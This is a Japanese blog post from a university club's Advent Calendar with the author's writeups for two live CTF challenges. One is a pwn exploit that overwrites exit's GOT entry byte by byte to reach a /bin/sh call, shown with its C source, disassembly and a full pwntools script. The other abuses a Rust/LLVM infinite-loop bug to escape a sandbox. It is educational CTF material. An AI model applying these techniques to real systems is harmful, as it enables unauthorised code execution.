TSG LIVE CTF writeup + 雑記

この記事はTSG Advent Calendar 2020 の2日目の記事として書かれました。昨日は博多市さんのTSG CTF 2020 開催記でした。

TSG LIVEは、大学の文化祭の催し物として企画されているもので、TSG LIVE CTFはその企画の一つで、TSGの数人が問題を用意し、別の数人が2チームに分かれてその問題を解いて競う様子を、実況を交えてライブ配信します。

アーカイブYouTubeに上っているので興味があればどうぞ。

www.youtube.com

なお、ライブ配信されているわけではありますが、TSG外の人々にもスコアサーバー及び問題サーバーを解放していて同時に解くことができるようにしていました。実際、外部から参戦したyoshikingdomさんは強かったですね。ほぼ全完です。各位ご参加ありがとうございました。以下がその結果を報告するツイートです。

また問題も以下のリポジトリから公開していて、これらのうち僕が作問した問題について、writeupを書いたのがこの記事の内容になります。

github.com

writeup書いてて思ったんですが、LIVE CTFで消費するのもったいなかったような。まあ二問とも非想定解で時間内に解かれましたが.... (いつも非想定解で解かれてないか)

writeup: one-byte-man

ネタは、

  • gccでexit終わる関数をコンパイルすると、継続の処理が無くなるので、exitがreturnすると次の関数の頭に突入する
  • exitのGOTエントリ書き換えでmainの無限ループ

です。one byte manという名前の通り、任意アドレスの1バイト書き換えができる状態になっているので、まずGOTのエントリを1ビット書き換えて、mainループが起こるようにした後にROPを構築する、というのが想定解となっています。なお、割とこの想定解法自体はボス問枠で、ここから条件を落とした問題を2問用意しました。このうち一番簡単な問題は特に言及の余地がないですが、2番目の難易度の問題はちょうど良くライブ向けにできて、結構気に入っているので紹介します。

問題設定は次のようなプログラムです。アドレスを受け取って、そのアドレスについて、1バイト書き換えた後、exit(0)をします。

int main(void) {
    unsigned long long addr;
    char buf[0x20];
    setup();
    write(1, "address: ", 9);
    readn(buf, 0x1f);
    addr = strtoull(buf, NULL, 10);
    write(1, (char*)addr, 8);
    write(1, "data: ", 6);
    readn((char *)addr, 1);
    exit(0);
}
void friend() {
    execl("/bin/sh", "sh", NULL);
}

ただし、checksecは

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   73) Symbols  No 0       1       one-byte-man

のようになっていて、GOTのエントリを書き換えられることが分かります。なおバイナリが上手に配置されているので、exitのPLTのアドレスを1バイト書き換えるとちょうどmainに位置させることができるようになっています。

次に、バイナリに目を向けてみると、

00000000004007d8 <readn>:
  4007d8:   55                      push   %rbp
  ...
  400864:   c9                      leaveq
  400865:   c3                      retq
0000000000400866 <main>:
  400866:   55                      push   %rbp
  400867:   48 89 e5                mov    %rsp,%rbp
  ...
  400905:   bf 00 00 00 00          mov    $0x0,%edi
  40090a:   e8 51 fd ff ff          callq  400660 <exit@plt>

000000000040090f <friend>:
  40090f:   55                      push   %rbp
  400910:   48 89 e5                mov    %rsp,%rbp
  400913:   ba 00 00 00 00          mov    $0x0,%edx
  400918:   48 8d 35 ec 00 00 00    lea    0xec(%rip),%rsi        # 400a0b <_IO_stdin_used+0x4b>
  40091f:   48 8d 3d e8 00 00 00    lea    0xe8(%rip),%rdi        # 400a0e <_IO_stdin_used+0x4e>
  400926:   b8 00 00 00 00          mov    $0x0,%eax
  40092b:   e8 40 fd ff ff          callq  400670 <execl@plt>
  400930:   90                      nop
  400931:   5d                      pop    %rbp
  400932:   c3                      retq

上のようにexitのcallの後はすぐにfriendのコードが始まっていることが分かります。以上から、上であげたようなネタで解けることが分かります。

実際に考えてみると、これは非常に短いコードで達成できます。exit = mainにしたあとに、mainの先頭から1バイト下げて、exit: retにするのがミソですね。2工程です。

from pwn import *

main_addr = 0x400866
exit_got = 0x601048

r = remote("localhost", 3001)

# exit_got to main
r.recvuntil(': ')
r.sendline(str(exit_got+1))
r.recvuntil(': ')
r.send(chr((main_addr >> 8) % 256))

# exit_got to main - 1 (ret of readn)
r.recvuntil(': ')
r.sendline(str(exit_got))
r.recvuntil(': ')
r.send(chr((main_addr - 1) % 256))

# shell!
r.interactive()

ライブCTFの理想問は、「一発ネタ + 実装最小限」で解ける問題だと思っているので、これはかなりよくできたライブ向け問だと自負しています。ちなみにこういうタイプの問題で、TSG CTFのBeginner's Pwnとかも出せたら良かったんですが、当時アイデアが無かったので残念。

writeup: getting over it

Rustのバグをネタにして問題にしました。ネタ元はissue28728で、uenokuさんなどによってよく解説されています。まあ有名なバグですね。

簡単に掻い摘んで解説すると、「副作用のない無限ループを書くと(Rustの言語仕様としてはundefinedになるわけではないが、LLVMの仕様のせいで)、想定しない挙動になる」というものです。信じられないと思う貴方は次のプログラムをrustcで(-O つきで)コンパイルして実行してみてください

fn main() {
    (||loop{})()
}
$ rustc -O broken.rs
$ ./broken
zsh: illegal hardware instruction  ./broken

びっくりですね。基本的には、LLVMがこういう挙動をするのはC++の仕様のせいなのですが、詳しくはここでは省略します。

問題の概要について説明すると、

fn sandbox(x: &mut u64) {
    /* code */
    *x += 1;
    sandbox(x);
}

fn main() {
    let mut cnt = 0;
    sandbox(&mut cnt);
    println!("{} loops. Good job!", cnt);
    println!("Flag is TSGLIVE{{/* redacted */}}");
}

上のようなプログラムが与えられているので/* code */のところに好きなコードを入れて、sandboxの無限の再帰呼び出しを突破しよう!という問題です。なお、NGワードは、'!', 'std', "#", "return", "unsafe", "sandbox", '}'です。すなわちこれらの単語を含まないプログラムを与える必要があります。

上でネタバレしたように、Rustでは副作用のない無限ループを書くと"よくないこと"が起こるようです。試しにやってみましょう。 /* code */に何も書かなければ、このプログラムは、引数の参照を通して値の読み書きをします。これをなんとか消せないでしょうか? 消せますね。単にシャドーイングをすればよいです。

fn sandbox(x: &mut u64) {
    let x = &mut 0;
    *x += 1;
    sandbox(x);
}

fn main() {
    let mut cnt = 0;
    sandbox(&mut cnt);
    println!("{} loops. Good job!", cnt);
    println!("Flag is TSGLIVE{{flag}}");
}
$ rustc -O prog.rs
$ ./prog
0 loops. Good job!
Flag is TSGLIVE{flag}

Rustのunsound hole問はここ数年で多数出題されていますが、この問題もその1つに分類することができると思います。多数出題されていることからも分かる通り、rustのコンパイラ(や型システム)にはまだまだバグがあるということです。。

実際、Rustの型システムやRustのライブラリの安全性を形式的に検証する試み(RustBeltなど)は近年盛んに研究されていますし、まだまだ面白い話が続きそうな気もします。

LIVE CTFについて

最近はCTFのYouTube進出が激しいです。日本人CTF系YouTuberとしては、kurenaifさんが有名ですし、海外に目を向けてみれば、ALLES!のLiveOverflowをはじめとして多数のチャンネルが開設されています。 また、今年のGoogle CTFのFinalsの様子は、参加者のスクリーンを録画して実況をつけた動画としてアップロードされるそうです。

人がCTFしている様子を見るのは割と勉強になるので結構暇な時に見てしまいます。こういったチャンネルが今後とも増えていくことを願っていますし、TSG Live自体ももう少し世の中の人間にリーチしないかなあと思ったりしなくもないですね。

個人的には、LIVE CTFで各位が問題解いている様子が見たいので、ぜひお願いします。いっそ次回のLIVE CTFはゲストチームをinviteしたりするのもありなのかな。

最後に

いかがでしたでしょうか?

明日は、smallkirbyさんの「乾パンの美味しい食べ方」です。楽しみですね。

smallkirby.hatenablog.com